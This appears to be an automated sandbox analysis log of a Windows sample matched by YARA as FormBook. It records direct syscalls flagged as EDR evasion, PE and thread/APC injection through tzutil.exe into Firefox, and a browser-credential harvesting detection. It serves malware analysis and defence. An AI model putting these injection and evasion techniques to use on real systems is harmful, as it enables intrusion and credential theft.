Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A088E mov eax, dword ptr fs:[00000030h]	2_2_015A088E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01586882 mov eax, dword ptr fs:[00000030h]	2_2_01586882
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01586882 mov eax, dword ptr fs:[00000030h]	2_2_01586882
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01586882 mov eax, dword ptr fs:[00000030h]	2_2_01586882
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01618890 mov eax, dword ptr fs:[00000030h]	2_2_01618890
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01618890 mov eax, dword ptr fs:[00000030h]	2_2_01618890
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01634B67 mov eax, dword ptr fs:[00000030h]	2_2_01634B67
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01616B77 mov eax, dword ptr fs:[00000030h]	2_2_01616B77
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01594B79 mov eax, dword ptr fs:[00000030h]	2_2_01594B79
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156AB70 mov eax, dword ptr fs:[00000030h]	2_2_0156AB70
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156AB70 mov eax, dword ptr fs:[00000030h]	2_2_0156AB70
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156AB70 mov eax, dword ptr fs:[00000030h]	2_2_0156AB70
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156AB70 mov eax, dword ptr fs:[00000030h]	2_2_0156AB70
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156AB70 mov eax, dword ptr fs:[00000030h]	2_2_0156AB70
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156AB70 mov eax, dword ptr fs:[00000030h]	2_2_0156AB70
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566B70 mov eax, dword ptr fs:[00000030h]	2_2_01566B70
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566B70 mov eax, dword ptr fs:[00000030h]	2_2_01566B70
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566B70 mov eax, dword ptr fs:[00000030h]	2_2_01566B70
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158EB1C mov eax, dword ptr fs:[00000030h]	2_2_0158EB1C
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01568B10 mov eax, dword ptr fs:[00000030h]	2_2_01568B10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01568B10 mov eax, dword ptr fs:[00000030h]	2_2_01568B10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01568B10 mov eax, dword ptr fs:[00000030h]	2_2_01568B10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570B10 mov eax, dword ptr fs:[00000030h]	2_2_01570B10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570B10 mov eax, dword ptr fs:[00000030h]	2_2_01570B10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570B10 mov eax, dword ptr fs:[00000030h]	2_2_01570B10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570B10 mov eax, dword ptr fs:[00000030h]	2_2_01570B10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155CB1E mov eax, dword ptr fs:[00000030h]	2_2_0155CB1E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159CB20 mov eax, dword ptr fs:[00000030h]	2_2_0159CB20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015ECB20 mov eax, dword ptr fs:[00000030h]	2_2_015ECB20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015ECB20 mov eax, dword ptr fs:[00000030h]	2_2_015ECB20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015ECB20 mov eax, dword ptr fs:[00000030h]	2_2_015ECB20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01634BE0 mov eax, dword ptr fs:[00000030h]	2_2_01634BE0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01588BD1 mov eax, dword ptr fs:[00000030h]	2_2_01588BD1
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01588BD1 mov eax, dword ptr fs:[00000030h]	2_2_01588BD1
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155EBC0 mov eax, dword ptr fs:[00000030h]	2_2_0155EBC0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E4BC0 mov eax, dword ptr fs:[00000030h]	2_2_015E4BC0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E4BC0 mov eax, dword ptr fs:[00000030h]	2_2_015E4BC0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E4BC0 mov eax, dword ptr fs:[00000030h]	2_2_015E4BC0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E4BC0 mov eax, dword ptr fs:[00000030h]	2_2_015E4BC0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01606BDE mov ebx, dword ptr fs:[00000030h]	2_2_01606BDE
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01606BDE mov eax, dword ptr fs:[00000030h]	2_2_01606BDE
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01628BBE mov eax, dword ptr fs:[00000030h]	2_2_01628BBE
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01628BBE mov eax, dword ptr fs:[00000030h]	2_2_01628BBE
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01628BBE mov eax, dword ptr fs:[00000030h]	2_2_01628BBE
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01628BBE mov eax, dword ptr fs:[00000030h]	2_2_01628BBE
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E4A57 mov eax, dword ptr fs:[00000030h]	2_2_015E4A57
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E4A57 mov eax, dword ptr fs:[00000030h]	2_2_015E4A57
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158EA40 mov eax, dword ptr fs:[00000030h]	2_2_0158EA40
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158EA40 mov eax, dword ptr fs:[00000030h]	2_2_0158EA40
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015FAA40 mov eax, dword ptr fs:[00000030h]	2_2_015FAA40
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015FAA40 mov eax, dword ptr fs:[00000030h]	2_2_015FAA40
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159AA0E mov eax, dword ptr fs:[00000030h]	2_2_0159AA0E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159AA0E mov eax, dword ptr fs:[00000030h]	2_2_0159AA0E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01600AE0 mov eax, dword ptr fs:[00000030h]	2_2_01600AE0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01602AE0 mov eax, dword ptr fs:[00000030h]	2_2_01602AE0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01602AE0 mov eax, dword ptr fs:[00000030h]	2_2_01602AE0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01634AE8 mov eax, dword ptr fs:[00000030h]	2_2_01634AE8
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570ACE mov eax, dword ptr fs:[00000030h]	2_2_01570ACE
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570ACE mov eax, dword ptr fs:[00000030h]	2_2_01570ACE
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E0AFF mov eax, dword ptr fs:[00000030h]	2_2_015E0AFF
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E0AFF mov eax, dword ptr fs:[00000030h]	2_2_015E0AFF
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E0AFF mov eax, dword ptr fs:[00000030h]	2_2_015E0AFF
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01604AC2 mov eax, dword ptr fs:[00000030h]	2_2_01604AC2
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01580AEB mov eax, dword ptr fs:[00000030h]	2_2_01580AEB
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01580AEB mov eax, dword ptr fs:[00000030h]	2_2_01580AEB
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01580AEB mov eax, dword ptr fs:[00000030h]	2_2_01580AEB
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01560AED mov eax, dword ptr fs:[00000030h]	2_2_01560AED
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01560AED mov eax, dword ptr fs:[00000030h]	2_2_01560AED
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01560AED mov eax, dword ptr fs:[00000030h]	2_2_01560AED
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01616A80 mov eax, dword ptr fs:[00000030h]	2_2_01616A80
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01606D79 mov esi, dword ptr fs:[00000030h]	2_2_01606D79
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DCD40 mov eax, dword ptr fs:[00000030h]	2_2_015DCD40
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DCD40 mov eax, dword ptr fs:[00000030h]	2_2_015DCD40
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01634D4B mov eax, dword ptr fs:[00000030h]	2_2_01634D4B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610D24 mov eax, dword ptr fs:[00000030h]	2_2_01610D24
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610D24 mov eax, dword ptr fs:[00000030h]	2_2_01610D24
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610D24 mov eax, dword ptr fs:[00000030h]	2_2_01610D24
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610D24 mov eax, dword ptr fs:[00000030h]	2_2_01610D24
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158CD10 mov eax, dword ptr fs:[00000030h]	2_2_0158CD10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158CD10 mov ecx, dword ptr fs:[00000030h]	2_2_0158CD10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015F8D0A mov eax, dword ptr fs:[00000030h]	2_2_015F8D0A
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156AD00 mov eax, dword ptr fs:[00000030h]	2_2_0156AD00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156AD00 mov eax, dword ptr fs:[00000030h]	2_2_0156AD00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156AD00 mov eax, dword ptr fs:[00000030h]	2_2_0156AD00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156AD00 mov eax, dword ptr fs:[00000030h]	2_2_0156AD00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156AD00 mov eax, dword ptr fs:[00000030h]	2_2_0156AD00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156AD00 mov eax, dword ptr fs:[00000030h]	2_2_0156AD00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01580D01 mov eax, dword ptr fs:[00000030h]	2_2_01580D01
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015ECD00 mov eax, dword ptr fs:[00000030h]	2_2_015ECD00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015ECD00 mov eax, dword ptr fs:[00000030h]	2_2_015ECD00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158AD20 mov eax, dword ptr fs:[00000030h]	2_2_0158AD20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158AD20 mov eax, dword ptr fs:[00000030h]	2_2_0158AD20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158AD20 mov eax, dword ptr fs:[00000030h]	2_2_0158AD20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158AD20 mov ecx, dword ptr fs:[00000030h]	2_2_0158AD20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158AD20 mov eax, dword ptr fs:[00000030h]	2_2_0158AD20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158AD20 mov eax, dword ptr fs:[00000030h]	2_2_0158AD20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158AD20 mov eax, dword ptr fs:[00000030h]	2_2_0158AD20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158AD20 mov eax, dword ptr fs:[00000030h]	2_2_0158AD20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158AD20 mov eax, dword ptr fs:[00000030h]	2_2_0158AD20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158AD20 mov eax, dword ptr fs:[00000030h]	2_2_0158AD20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162CDEB mov eax, dword ptr fs:[00000030h]	2_2_0162CDEB
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162CDEB mov eax, dword ptr fs:[00000030h]	2_2_0162CDEB
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01558DCD mov eax, dword ptr fs:[00000030h]	2_2_01558DCD
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155EDFA mov eax, dword ptr fs:[00000030h]	2_2_0155EDFA
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0161ADD6 mov eax, dword ptr fs:[00000030h]	2_2_0161ADD6
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0161ADD6 mov eax, dword ptr fs:[00000030h]	2_2_0161ADD6
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01634DA7 mov eax, dword ptr fs:[00000030h]	2_2_01634DA7
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566D91 mov eax, dword ptr fs:[00000030h]	2_2_01566D91
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155CD8A mov eax, dword ptr fs:[00000030h]	2_2_0155CD8A

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtAllocateVirtualMemory: Direct from: 0x77462B1C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtResumeThread: Direct from: 0x774635CC	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtQuerySystemInformation: Direct from: 0x77462D1C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtNotifyChangeKey: Direct from: 0x77463B4C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtProtectVirtualMemory: Direct from: 0x77457A4E	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtReadFile: Direct from: 0x774629FC	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtWriteVirtualMemory: Direct from: 0x77462D5C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtMapViewOfSection: Direct from: 0x77462C3C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtQueryInformationProcess: Direct from: 0x77462B46	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtResumeThread: Direct from: 0x77462EDC	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtCreateUserProcess: Direct from: 0x7746363C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtSetInformationThread: Direct from: 0x77456319	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtProtectVirtualMemory: Direct from: 0x77462EBC	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtWriteVirtualMemory: Direct from: 0x7746482C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtDelayExecution: Direct from: 0x77462CFC	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtOpenKeyEx: Direct from: 0x77462ABC	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtClose: Direct from: 0x77462A8C
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtCreateKey: Direct from: 0x77462B8C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtSetInformationThread: Direct from: 0x77462A6C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtQueryAttributesFile: Direct from: 0x77462D8C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtAllocateVirtualMemory: Direct from: 0x7746480C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtQueryVolumeInformationFile: Direct from: 0x77462E4C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtDeviceIoControlFile: Direct from: 0x77462A0C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtAllocateVirtualMemory: Direct from: 0x77462B0C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtOpenSection: Direct from: 0x77462D2C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtQuerySystemInformation: Direct from: 0x774647EC	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtCreateFile: Direct from: 0x77462F0C	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtReadVirtualMemory: Direct from: 0x77462DAC	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtOpenFile: Direct from: 0x77462CEC	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtAllocateVirtualMemory: Direct from: 0x77463BBC	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtQueryInformationToken: Direct from: 0x77462BCC	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	NtSetInformationProcess: Direct from: 0x77462B7C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

Memory written: C:\Users\user\Desktop\5CTbduoXq4.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: NULL target: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: NULL target: C:\Windows\SysWOW64\tzutil.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: NULL target: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: NULL target: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\tzutil.exe

Thread register set: target process: 5012

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\tzutil.exe

Thread APC queued: target process: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Jump to behavior

Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process created: C:\Users\user\Desktop\5CTbduoXq4.exe "C:\Users\user\Desktop\5CTbduoXq4.exe"	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Process created: C:\Windows\SysWOW64\tzutil.exe "C:\Windows\SysWOW64\tzutil.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: QgsPQaUVZZ.exe, 00000003.00000000.44572105756.00000000012B0000.00000002.00000001.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000003.00000002.49197135281.00000000012B0000.00000002.00000001.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198171321.0000000001BA0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: QgsPQaUVZZ.exe, 00000003.00000000.44572105756.00000000012B0000.00000002.00000001.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000003.00000002.49197135281.00000000012B0000.00000002.00000001.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198171321.0000000001BA0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: QgsPQaUVZZ.exe, 00000003.00000000.44572105756.00000000012B0000.00000002.00000001.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000003.00000002.49197135281.00000000012B0000.00000002.00000001.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198171321.0000000001BA0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: SProgram Manager,
Source: QgsPQaUVZZ.exe, 00000003.00000000.44572105756.00000000012B0000.00000002.00000001.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000003.00000002.49197135281.00000000012B0000.00000002.00000001.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198171321.0000000001BA0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Queries volume information: C:\Users\user\Desktop\5CTbduoXq4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 2.2.5CTbduoXq4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.5CTbduoXq4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.49197292849.0000000001490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.49198655128.0000000000E90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.49198539173.0000000000E40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.44647403397.0000000002400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.44647224128.0000000001880000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

